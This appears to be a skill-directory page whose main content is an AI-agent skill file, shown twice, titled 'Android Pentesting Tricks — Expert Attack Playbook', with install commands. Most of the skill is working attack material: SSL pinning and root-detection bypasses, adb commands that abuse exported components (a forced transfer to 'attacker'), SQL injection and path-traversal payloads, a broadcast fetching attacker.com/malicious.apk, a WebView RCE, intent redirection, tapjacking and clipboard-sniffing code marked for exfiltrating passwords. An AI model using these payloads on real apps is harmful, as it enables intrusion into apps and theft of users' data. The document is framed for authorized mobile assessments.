[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7854VVFEZ6S0YK4P63ET6F3":3,"skill-same:01M7854VVFEZ6S0YK4P63ET6F3":47},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":24,"commitSha":25,"skillDirectory":26,"forksCount":27,"repositoryHtmlUrl":28,"repositoryHomepageUrl":29,"ownerHtmlUrl":30,"ownerBlogUrl":6,"ownerDescription":31,"updatedAt":32,"install":33,"resources":46},"01M7854VVFEZ6S0YK4P63ET6F3","android-pentesting-tricks",null,"Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.","Lord1Egypt\u002Fawesome-skill-forge","Lord1Egypt","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99746359?v=4","01M7592YDNT0XK9WJ0T2MQVPDN","Mohamed Mounir Ali AL Keshita","01M75GRFNHC8VZNWEB8DKDE433",3,"MIT","https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fcommunity\u002Fskills_sh\u002Fs\u002Fskills-sh_yaklang_hack-skills_android-pentesting-tricks\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: android-pentesting-tricks\ndescription: >-\n  Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.\n---\n\n# SKILL: Android Pentesting Tricks — Expert Attack Playbook\n\n> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida\u002FObjection\u002FLSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.\n\n## 0. RELATED ROUTING\n\nBefore going deep, consider loading:\n\n- [mobile-ssl-pinning-bypass](..\u002Fmobile-ssl-pinning-bypass\u002FSKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks\n- [ios-pentesting-tricks](..\u002Fios-pentesting-tricks\u002FSKILL.md) when also testing the iOS version of the same app\n- [api-sec](..\u002Fapi-sec\u002FSKILL.md) for backend API security testing once traffic is intercepted\n\n### Advanced Reference\n\nAlso load [FRIDA_SCRIPTS.md](.\u002FFRIDA_SCRIPTS.md) when you need:\n- Ready-to-use Frida script templates for common Android testing tasks\n- Detailed hook points for OkHttp, Retrofit, Volley, WebView\n- Root detection bypass script collection\n\n---\n\n## 1. SSL PINNING BYPASS\n\n### 1.1 Frida Universal Bypass\n\n```bash\n# Install Frida server on device\nadb push frida-server-16.x.x-android-arm64 \u002Fdata\u002Flocal\u002Ftmp\u002F\nadb shell \"chmod 755 \u002Fdata\u002Flocal\u002Ftmp\u002Ffrida-server-16.x.x-android-arm64\"\nadb shell \"\u002Fdata\u002Flocal\u002Ftmp\u002Ffrida-server-16.x.x-android-arm64 &\"\n\n# Universal SSL pinning bypass\nfrida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause\n```\n\n| Hook Point | Library\u002FClass | Coverage |\n|---|---|---|\n| `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS |\n| `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x\u002F4.x | Square OkHttp |\n| `CertificatePinner.check` | OkHttp 3.x\u002F4.x | OkHttp pinning |\n| `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS |\n| `SSLContext.init` | Android SDK | Custom SSL contexts |\n| `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors |\n| `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |\n\n### 1.2 Objection (Quick Method)\n\n```bash\nobjection -g com.target.app explore\n# Inside Objection REPL:\nandroid sslpinning disable\n```\n\n### 1.3 Network Security Config (Debug Builds)\n\nIf you can modify the APK or it's a debug build:\n\n```xml\n\u003C!-- res\u002Fxml\u002Fnetwork_security_config.xml -->\n\u003Cnetwork-security-config>\n  \u003Cdebug-overrides>\n    \u003Ctrust-anchors>\n      \u003Ccertificates src=\"user\" \u002F>  \u003C!-- Trust user-installed CAs -->\n    \u003C\u002Ftrust-anchors>\n  \u003C\u002Fdebug-overrides>\n\u003C\u002Fnetwork-security-config>\n```\n\n### 1.4 Magisk Module Approach\n\n| Module | Method | Scope |\n|---|---|---|\n| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |\n| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |\n| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |\n| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |\n\n---\n\n## 2. COMPONENT EXPOSURE\n\n### 2.1 Exported Activities\n\n```bash\n# Find exported activities (AndroidManifest.xml or aapt)\naapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 \"exported.*true\"\n\n# Launch exported activity directly\nadb shell am start -n com.target.app\u002F.AdminActivity\nadb shell am start -n com.target.app\u002F.DeepLinkActivity \\\n  -d \"target:\u002F\u002Fcallback?token=attacker_token\"\n\n# With extra data\nadb shell am start -n com.target.app\u002F.TransferActivity \\\n  --es \"amount\" \"99999\" --es \"recipient\" \"attacker\"\n```\n\n### 2.2 Content Providers\n\n```bash\n# Query exposed content providers\nadb shell content query --uri content:\u002F\u002Fcom.target.app.provider\u002Fusers\n\n# SQL injection in content provider\nadb shell content query --uri \"content:\u002F\u002Fcom.target.app.provider\u002Fusers\" \\\n  --where \"1=1) UNION SELECT sql,2,3 FROM sqlite_master--\"\n\n# Path traversal in file-providing content provider\nadb shell content read --uri \"content:\u002F\u002Fcom.target.app.fileprovider\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fhosts\"\n```\n\n| Provider Type | Attack Vector | Impact |\n|---|---|---|\n| Database-backed | SQL injection via `query()` projection\u002Fselection | Data leak, auth bypass |\n| File-backed | Path traversal via URI | Read arbitrary files |\n| Parcelable | Type confusion in custom Parcelable | Code execution |\n\n### 2.3 Broadcast Receivers\n\n```bash\n# Send crafted broadcast\nadb shell am broadcast -a com.target.app.ACTION_UPDATE \\\n  --es \"url\" \"http:\u002F\u002Fattacker.com\u002Fmalicious.apk\"\n\n# Ordered broadcast interception (higher priority receiver intercepts first)\n# Register receiver with higher priority than target to intercept\u002Fmodify data\n```\n\n### 2.4 Exported Services\n\n```bash\n# Start\u002Fbind to exported service\nadb shell am startservice -n com.target.app\u002F.BackgroundService \\\n  --es \"command\" \"exfiltrate\"\n\n# List running services\nadb shell dumpsys activity services | grep com.target\n```\n\n---\n\n## 3. WEBVIEW VULNERABILITIES\n\n### 3.1 JavaScript Interface RCE (Pre-API 17)\n\n```java\n\u002F\u002F Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation\nwebView.addJavascriptInterface(new JSInterface(), \"android\");\n\n\u002F\u002F Pre-API 17: Reflection-based RCE via injected JavaScript\n\u002F\u002F Inject into WebView:\n\u002F\u002F android.getClass().forName('java.lang.Runtime')\n\u002F\u002F   .getMethod('getRuntime').invoke(null).exec('id')\n```\n\n### 3.2 Modern WebView Attacks\n\n| Vulnerability | Condition | Exploit |\n|---|---|---|\n| `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |\n| `setAllowFileAccessFromFileURLs(true)` | file:\u002F\u002F can read other file:\u002F\u002F | Load `file:\u002F\u002F\u002Fdata\u002Fdata\u002Fcom.target\u002F...` |\n| `setAllowUniversalAccessFromFileURLs(true)` | file:\u002F\u002F can access any origin | Exfiltrate via XHR to attacker |\n| `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or file:\u002F\u002F |\n| `shouldOverrideUrlLoading` bypass | Incomplete URL validation | Redirect to attacker-controlled page |\n| `evaluateJavascript` with tainted data | User data in JS execution | XSS in WebView context |\n\n### 3.3 Deep Link to WebView Chain\n\n```\n1. Attacker crafts deep link: target:\u002F\u002Fwebview?url=https:\u002F\u002Fattacker.com\u002Fxss.html\n2. App opens WebView with attacker URL\n3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()\n4. Bridge executes in app context with app's permissions\n```\n\n---\n\n## 4. INTENT REDIRECTION\n\nExported activity receives an Intent and starts another (internal) activity using data from the received Intent.\n\n```java\n\u002F\u002F Vulnerable pattern:\nIntent received = getIntent();\nIntent redirect = (Intent) received.getParcelableExtra(\"next_intent\");\nstartActivity(redirect);\n\u002F\u002F Attacker controls \"next_intent\" → can start any internal activity\n```\n\n```bash\n# Exploit: start non-exported internal activity via redirection\nadb shell am start -n com.target.app\u002F.ExportedActivity \\\n  --es \"next_intent\" \"intent:#Intent;component=com.target.app\u002F.InternalAdminActivity;end\"\n```\n\n| Pattern | Indicator | Risk |\n|---|---|---|\n| `getParcelableExtra` → `startActivity` | Intent-in-Intent | Start non-exported activities |\n| `getStringExtra(\"url\")` → `startActivity(Intent.ACTION_VIEW)` | URL forwarding | Open arbitrary URLs |\n| `getStringExtra(\"class\")` → `Class.forName` → `startActivity` | Dynamic class loading | Start any activity by name |\n\n---\n\n## 5. ROOT DETECTION BYPASS\n\n### 5.1 Common Root Detection Checks\n\n| Check | What It Detects | Frida Bypass |\n|---|---|---|\n| `su` binary exists | `\u002Fsystem\u002Fxbin\u002Fsu`, `\u002Fsbin\u002Fsu` | Hook `File.exists()` → return false |\n| Build tags contain \"test-keys\" | `Build.TAGS` | Hook `Build.TAGS` → return \"release-keys\" |\n| Magisk Manager installed | Package name check | Hook `PackageManager.getPackageInfo` |\n| Superuser.apk present | Su management app | Hook `File.exists()` |\n| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |\n| SafetyNet\u002FPlay Integrity | Server-side attestation | Requires Magisk DenyList + module |\n| Abnormal system properties | `ro.debuggable=1`, etc. | Hook `SystemProperties.get` |\n\n### 5.2 Magisk DenyList (Previously MagiskHide)\n\n```bash\n# Enable DenyList in Magisk Manager\n# Add target app to DenyList — Magisk hides itself from that app\n# Covers: su binary, Magisk Manager package, mount points, props\n```\n\n---\n\n## 6. PLAY INTEGRITY \u002F SAFETYNET BYPASS\n\n| Level | What It Checks | Bypass Difficulty |\n|---|---|---|\n| Basic Integrity | Not rooted, not emulator | Easy (Magisk + DenyList) |\n| Device Integrity | Bootloader locked, verified boot | Hard (requires locked bootloader) |\n| Strong Integrity | Hardware-backed attestation | Very hard (hardware TEE) |\n\nTechniques:\n- Magisk with Zygisk enabled + DenyList for target app\n- Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint\n- Shamiko module: hides root from specific apps\n- Custom ROM with locked bootloader (Pixel-specific tricks)\n\n---\n\n## 7. TAPJACKING (OVERLAY ATTACKS)\n\n```xml\n\u003C!-- Malicious overlay activity -->\n\u003Cactivity android:name=\".OverlayActivity\"\n    android:theme=\"@style\u002FTransparentTheme\"\n    android:excludeFromRecents=\"true\">\n\u003C\u002Factivity>\n\n\u003C!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->\n```\n\n| Android Version | Protection | Bypass |\n|---|---|---|\n| Pre-6.0 | None | Full overlay |\n| 6.0–11 | `filterTouchesWhenObscured` (opt-in) | Apps not using it are vulnerable |\n| 12+ | Untrusted touches blocked for overlay windows | Partial overlays, timing-based |\n\n---\n\n## 8. BACKUP EXTRACTION\n\n```bash\n# Check if backup allowed\naapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup\n# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)\n\n# Extract backup\nadb backup -f backup.ab -apk com.target.app\n# Convert to tar\ndd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar\ntar xf backup.tar\n\n# Analyze extracted data\nfind com.target.app -name \"*.db\" -o -name \"*.xml\" -o -name \"*.json\"\n# Check shared_prefs\u002F for tokens, credentials\n# Check databases\u002F for SQLite DBs with sensitive data\n```\n\n---\n\n## 9. ADDITIONAL TRICKS\n\n### 9.1 Debuggable App Exploitation\n\n```bash\n# If android:debuggable=\"true\" in manifest\nadb shell run-as com.target.app\n# Now running as the app's user — full data directory access\ncat \u002Fdata\u002Fdata\u002Fcom.target.app\u002Fshared_prefs\u002F*.xml\n```\n\n### 9.2 Drozer (Component Testing Framework)\n\n```bash\n# List attack surface\ndz> run app.package.attacksurface com.target.app\n# Exported Activities: 3\n# Exported Services: 1\n# Exported Providers: 2\n\n# Query provider\ndz> run app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers\n# Scan for injection\ndz> run scanner.provider.injection -a com.target.app\n```\n\n### 9.3 Clipboard Sniffing\n\n```java\n\u002F\u002F Pre-Android 10: any app can read clipboard\nClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);\ncm.addPrimaryClipChangedListener(() -> {\n    ClipData data = cm.getPrimaryClip();\n    \u002F\u002F Exfiltrate copied passwords, tokens, etc.\n});\n```\n\n---\n\n## 10. ANDROID PENTESTING DECISION TREE\n\n```\nTesting Android application\n│\n├── Can intercept HTTPS traffic?\n│   ├── No → SSL pinning in place\n│   │   ├── Frida available? → universal SSL bypass script (§1.1)\n│   │   ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)\n│   │   ├── Debug build? → Network Security Config (§1.3)\n│   │   └── None above? → manual decompile + patch + repackage\n│   └── Yes → proceed to traffic analysis\n│\n├── Exported components found?\n│   ├── Exported Activities → test direct launch, deeplink abuse (§2.1)\n│   ├── Content Providers → SQLi, path traversal (§2.2)\n│   ├── Broadcast Receivers → crafted intent injection (§2.3)\n│   └── Services → unauthorized service binding (§2.4)\n│\n├── WebView present?\n│   ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)\n│   ├── File access enabled? → file:\u002F\u002F scheme abuse (§3.2)\n│   └── Deep link → WebView? → URL injection chain (§3.3)\n│\n├── Intent handling found?\n│   └── Intent-in-Intent pattern? → redirect to internal activity (§4)\n│\n├── Root detection blocking testing?\n│   ├── Client-side checks only? → Frida hook bypass (§5.1)\n│   ├── SafetyNet\u002FPlay Integrity? → Magisk DenyList + modules (§6)\n│   └── Custom obfuscated checks? → reverse engineer + targeted hooks\n│\n├── Sensitive data storage?\n│   ├── allowBackup=true? → ADB backup extraction (§8)\n│   ├── Debuggable? → run-as for direct data access (§9.1)\n│   └── SharedPreferences → check for plaintext tokens\u002Fcredentials\n│\n└── UI-based attacks applicable?\n    └── Overlay possible? → tapjacking (§7)\n```\n","# SKILL: Android Pentesting Tricks — Expert Attack Playbook\n\n> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida\u002FObjection\u002FLSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.\n\n## 0. RELATED ROUTING\n\nBefore going deep, consider loading:\n\n- [mobile-ssl-pinning-bypass](..\u002Fmobile-ssl-pinning-bypass\u002FSKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks\n- [ios-pentesting-tricks](..\u002Fios-pentesting-tricks\u002FSKILL.md) when also testing the iOS version of the same app\n- [api-sec](..\u002Fapi-sec\u002FSKILL.md) for backend API security testing once traffic is intercepted\n\n### Advanced Reference\n\nAlso load [FRIDA_SCRIPTS.md](.\u002FFRIDA_SCRIPTS.md) when you need:\n- Ready-to-use Frida script templates for common Android testing tasks\n- Detailed hook points for OkHttp, Retrofit, Volley, WebView\n- Root detection bypass script collection\n\n---\n\n## 1. SSL PINNING BYPASS\n\n### 1.1 Frida Universal Bypass\n\n```bash\n# Install Frida server on device\nadb push frida-server-16.x.x-android-arm64 \u002Fdata\u002Flocal\u002Ftmp\u002F\nadb shell \"chmod 755 \u002Fdata\u002Flocal\u002Ftmp\u002Ffrida-server-16.x.x-android-arm64\"\nadb shell \"\u002Fdata\u002Flocal\u002Ftmp\u002Ffrida-server-16.x.x-android-arm64 &\"\n\n# Universal SSL pinning bypass\nfrida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause\n```\n\n| Hook Point | Library\u002FClass | Coverage |\n|---|---|---|\n| `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS |\n| `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x\u002F4.x | Square OkHttp |\n| `CertificatePinner.check` | OkHttp 3.x\u002F4.x | OkHttp pinning |\n| `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS |\n| `SSLContext.init` | Android SDK | Custom SSL contexts |\n| `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors |\n| `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |\n\n### 1.2 Objection (Quick Method)\n\n```bash\nobjection -g com.target.app explore\n# Inside Objection REPL:\nandroid sslpinning disable\n```\n\n### 1.3 Network Security Config (Debug Builds)\n\nIf you can modify the APK or it's a debug build:\n\n```xml\n\u003C!-- res\u002Fxml\u002Fnetwork_security_config.xml -->\n\u003Cnetwork-security-config>\n  \u003Cdebug-overrides>\n    \u003Ctrust-anchors>\n      \u003Ccertificates src=\"user\" \u002F>  \u003C!-- Trust user-installed CAs -->\n    \u003C\u002Ftrust-anchors>\n  \u003C\u002Fdebug-overrides>\n\u003C\u002Fnetwork-security-config>\n```\n\n### 1.4 Magisk Module Approach\n\n| Module | Method | Scope |\n|---|---|---|\n| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |\n| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |\n| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |\n| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |\n\n---\n\n## 2. COMPONENT EXPOSURE\n\n### 2.1 Exported Activities\n\n```bash\n# Find exported activities (AndroidManifest.xml or aapt)\naapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 \"exported.*true\"\n\n# Launch exported activity directly\nadb shell am start -n com.target.app\u002F.AdminActivity\nadb shell am start -n com.target.app\u002F.DeepLinkActivity \\\n  -d \"target:\u002F\u002Fcallback?token=attacker_token\"\n\n# With extra data\nadb shell am start -n com.target.app\u002F.TransferActivity \\\n  --es \"amount\" \"99999\" --es \"recipient\" \"attacker\"\n```\n\n### 2.2 Content Providers\n\n```bash\n# Query exposed content providers\nadb shell content query --uri content:\u002F\u002Fcom.target.app.provider\u002Fusers\n\n# SQL injection in content provider\nadb shell content query --uri \"content:\u002F\u002Fcom.target.app.provider\u002Fusers\" \\\n  --where \"1=1) UNION SELECT sql,2,3 FROM sqlite_master--\"\n\n# Path traversal in file-providing content provider\nadb shell content read --uri \"content:\u002F\u002Fcom.target.app.fileprovider\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fhosts\"\n```\n\n| Provider Type | Attack Vector | Impact |\n|---|---|---|\n| Database-backed | SQL injection via `query()` projection\u002Fselection | Data leak, auth bypass |\n| File-backed | Path traversal via URI | Read arbitrary files |\n| Parcelable | Type confusion in custom Parcelable | Code execution |\n\n### 2.3 Broadcast Receivers\n\n```bash\n# Send crafted broadcast\nadb shell am broadcast -a com.target.app.ACTION_UPDATE \\\n  --es \"url\" \"http:\u002F\u002Fattacker.com\u002Fmalicious.apk\"\n\n# Ordered broadcast interception (higher priority receiver intercepts first)\n# Register receiver with higher priority than target to intercept\u002Fmodify data\n```\n\n### 2.4 Exported Services\n\n```bash\n# Start\u002Fbind to exported service\nadb shell am startservice -n com.target.app\u002F.BackgroundService \\\n  --es \"command\" \"exfiltrate\"\n\n# List running services\nadb shell dumpsys activity services | grep com.target\n```\n\n---\n\n## 3. WEBVIEW VULNERABILITIES\n\n### 3.1 JavaScript Interface RCE (Pre-API 17)\n\n```java\n\u002F\u002F Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation\nwebView.addJavascriptInterface(new JSInterface(), \"android\");\n\n\u002F\u002F Pre-API 17: Reflection-based RCE via injected JavaScript\n\u002F\u002F Inject into WebView:\n\u002F\u002F android.getClass().forName('java.lang.Runtime')\n\u002F\u002F   .getMethod('getRuntime').invoke(null).exec('id')\n```\n\n### 3.2 Modern WebView Attacks\n\n| Vulnerability | Condition | Exploit |\n|---|---|---|\n| `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |\n| `setAllowFileAccessFromFileURLs(true)` | file:\u002F\u002F can read other file:\u002F\u002F | Load `file:\u002F\u002F\u002Fdata\u002Fdata\u002Fcom.target\u002F...` |\n| `setAllowUniversalAccessFromFileURLs(true)` | file:\u002F\u002F can access any origin | Exfiltrate via XHR to attacker |\n| `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or file:\u002F\u002F |\n| `shouldOverrideUrlLoading` bypass | Incomplete URL validation | Redirect to attacker-controlled page |\n| `evaluateJavascript` with tainted data | User data in JS execution | XSS in WebView context |\n\n### 3.3 Deep Link to WebView Chain\n\n```\n1. Attacker crafts deep link: target:\u002F\u002Fwebview?url=https:\u002F\u002Fattacker.com\u002Fxss.html\n2. App opens WebView with attacker URL\n3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()\n4. Bridge executes in app context with app's permissions\n```\n\n---\n\n## 4. INTENT REDIRECTION\n\nExported activity receives an Intent and starts another (internal) activity using data from the received Intent.\n\n```java\n\u002F\u002F Vulnerable pattern:\nIntent received = getIntent();\nIntent redirect = (Intent) received.getParcelableExtra(\"next_intent\");\nstartActivity(redirect);\n\u002F\u002F Attacker controls \"next_intent\" → can start any internal activity\n```\n\n```bash\n# Exploit: start non-exported internal activity via redirection\nadb shell am start -n com.target.app\u002F.ExportedActivity \\\n  --es \"next_intent\" \"intent:#Intent;component=com.target.app\u002F.InternalAdminActivity;end\"\n```\n\n| Pattern | Indicator | Risk |\n|---|---|---|\n| `getParcelableExtra` → `startActivity` | Intent-in-Intent | Start non-exported activities |\n| `getStringExtra(\"url\")` → `startActivity(Intent.ACTION_VIEW)` | URL forwarding | Open arbitrary URLs |\n| `getStringExtra(\"class\")` → `Class.forName` → `startActivity` | Dynamic class loading | Start any activity by name |\n\n---\n\n## 5. ROOT DETECTION BYPASS\n\n### 5.1 Common Root Detection Checks\n\n| Check | What It Detects | Frida Bypass |\n|---|---|---|\n| `su` binary exists | `\u002Fsystem\u002Fxbin\u002Fsu`, `\u002Fsbin\u002Fsu` | Hook `File.exists()` → return false |\n| Build tags contain \"test-keys\" | `Build.TAGS` | Hook `Build.TAGS` → return \"release-keys\" |\n| Magisk Manager installed | Package name check | Hook `PackageManager.getPackageInfo` |\n| Superuser.apk present | Su management app | Hook `File.exists()` |\n| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |\n| SafetyNet\u002FPlay Integrity | Server-side attestation | Requires Magisk DenyList + module |\n| Abnormal system properties | `ro.debuggable=1`, etc. | Hook `SystemProperties.get` |\n\n### 5.2 Magisk DenyList (Previously MagiskHide)\n\n```bash\n# Enable DenyList in Magisk Manager\n# Add target app to DenyList — Magisk hides itself from that app\n# Covers: su binary, Magisk Manager package, mount points, props\n```\n\n---\n\n## 6. PLAY INTEGRITY \u002F SAFETYNET BYPASS\n\n| Level | What It Checks | Bypass Difficulty |\n|---|---|---|\n| Basic Integrity | Not rooted, not emulator | Easy (Magisk + DenyList) |\n| Device Integrity | Bootloader locked, verified boot | Hard (requires locked bootloader) |\n| Strong Integrity | Hardware-backed attestation | Very hard (hardware TEE) |\n\nTechniques:\n- Magisk with Zygisk enabled + DenyList for target app\n- Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint\n- Shamiko module: hides root from specific apps\n- Custom ROM with locked bootloader (Pixel-specific tricks)\n\n---\n\n## 7. TAPJACKING (OVERLAY ATTACKS)\n\n```xml\n\u003C!-- Malicious overlay activity -->\n\u003Cactivity android:name=\".OverlayActivity\"\n    android:theme=\"@style\u002FTransparentTheme\"\n    android:excludeFromRecents=\"true\">\n\u003C\u002Factivity>\n\n\u003C!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->\n```\n\n| Android Version | Protection | Bypass |\n|---|---|---|\n| Pre-6.0 | None | Full overlay |\n| 6.0–11 | `filterTouchesWhenObscured` (opt-in) | Apps not using it are vulnerable |\n| 12+ | Untrusted touches blocked for overlay windows | Partial overlays, timing-based |\n\n---\n\n## 8. BACKUP EXTRACTION\n\n```bash\n# Check if backup allowed\naapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup\n# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)\n\n# Extract backup\nadb backup -f backup.ab -apk com.target.app\n# Convert to tar\ndd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar\ntar xf backup.tar\n\n# Analyze extracted data\nfind com.target.app -name \"*.db\" -o -name \"*.xml\" -o -name \"*.json\"\n# Check shared_prefs\u002F for tokens, credentials\n# Check databases\u002F for SQLite DBs with sensitive data\n```\n\n---\n\n## 9. ADDITIONAL TRICKS\n\n### 9.1 Debuggable App Exploitation\n\n```bash\n# If android:debuggable=\"true\" in manifest\nadb shell run-as com.target.app\n# Now running as the app's user — full data directory access\ncat \u002Fdata\u002Fdata\u002Fcom.target.app\u002Fshared_prefs\u002F*.xml\n```\n\n### 9.2 Drozer (Component Testing Framework)\n\n```bash\n# List attack surface\ndz> run app.package.attacksurface com.target.app\n# Exported Activities: 3\n# Exported Services: 1\n# Exported Providers: 2\n\n# Query provider\ndz> run app.provider.query content:\u002F\u002Fcom.target.app.provider\u002Fusers\n# Scan for injection\ndz> run scanner.provider.injection -a com.target.app\n```\n\n### 9.3 Clipboard Sniffing\n\n```java\n\u002F\u002F Pre-Android 10: any app can read clipboard\nClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);\ncm.addPrimaryClipChangedListener(() -> {\n    ClipData data = cm.getPrimaryClip();\n    \u002F\u002F Exfiltrate copied passwords, tokens, etc.\n});\n```\n\n---\n\n## 10. ANDROID PENTESTING DECISION TREE\n\n```\nTesting Android application\n│\n├── Can intercept HTTPS traffic?\n│   ├── No → SSL pinning in place\n│   │   ├── Frida available? → universal SSL bypass script (§1.1)\n│   │   ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)\n│   │   ├── Debug build? → Network Security Config (§1.3)\n│   │   └── None above? → manual decompile + patch + repackage\n│   └── Yes → proceed to traffic analysis\n│\n├── Exported components found?\n│   ├── Exported Activities → test direct launch, deeplink abuse (§2.1)\n│   ├── Content Providers → SQLi, path traversal (§2.2)\n│   ├── Broadcast Receivers → crafted intent injection (§2.3)\n│   └── Services → unauthorized service binding (§2.4)\n│\n├── WebView present?\n│   ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)\n│   ├── File access enabled? → file:\u002F\u002F scheme abuse (§3.2)\n│   └── Deep link → WebView? → URL injection chain (§3.3)\n│\n├── Intent handling found?\n│   └── Intent-in-Intent pattern? → redirect to internal activity (§4)\n│\n├── Root detection blocking testing?\n│   ├── Client-side checks only? → Frida hook bypass (§5.1)\n│   ├── SafetyNet\u002FPlay Integrity? → Magisk DenyList + modules (§6)\n│   └── Custom obfuscated checks? → reverse engineer + targeted hooks\n│\n├── Sensitive data storage?\n│   ├── allowBackup=true? → ADB backup extraction (§8)\n│   ├── Debuggable? → run-as for direct data access (§9.1)\n│   └── SharedPreferences → check for plaintext tokens\u002Fcredentials\n│\n└── UI-based attacks applicable?\n    └── Overlay possible? → tapjacking (§7)\n```\n",{"name":5,"description":7},"master","4aa004da461d820f4ea5499e58eb8d196cf99016","community\u002Fskills_sh\u002Fs\u002Fskills-sh_yaklang_hack-skills_android-pentesting-tricks",0,"https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge","https:\u002F\u002Fskill-explorer-rho.vercel.app","https:\u002F\u002Fgithub.com\u002FLord1Egypt","Unbreakable. Unstoppable. Unmatched⚡.\r\n Speaker of machine tongues 🤖  | World-builder of decentralized dreams 🌐 | Defender of the digital realm🛡️.","2026-06-10 08:21:01",{"source":8,"skillName":5,"commands":34,"prompt":44,"zipAvailable":45},[35,38,41],{"tool":36,"command":37},"npx","npx skills add Lord1Egypt\u002Fawesome-skill-forge --skill android-pentesting-tricks",{"tool":39,"command":40},"bunx","bunx skills add Lord1Egypt\u002Fawesome-skill-forge --skill android-pentesting-tricks",{"tool":42,"command":43},"pnpm","pnpm dlx skills add Lord1Egypt\u002Fawesome-skill-forge --skill android-pentesting-tricks","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FLord1Egypt\u002Fawesome-skill-forge\u002Fblob\u002Fmaster\u002Fcommunity\u002Fskills_sh\u002Fs\u002Fskills-sh_yaklang_hack-skills_android-pentesting-tricks\u002FSKILL.md",true,[],[48,55,62,69,76,83],{"skillNo":49,"name":50,"nameZh":6,"description":51,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":52,"categories":53,"keywords":54,"publishedAt":19},"01M785WKJB99G3STR1NF9NRTJW","youtube-content","YouTube transcripts to summaries, threads, 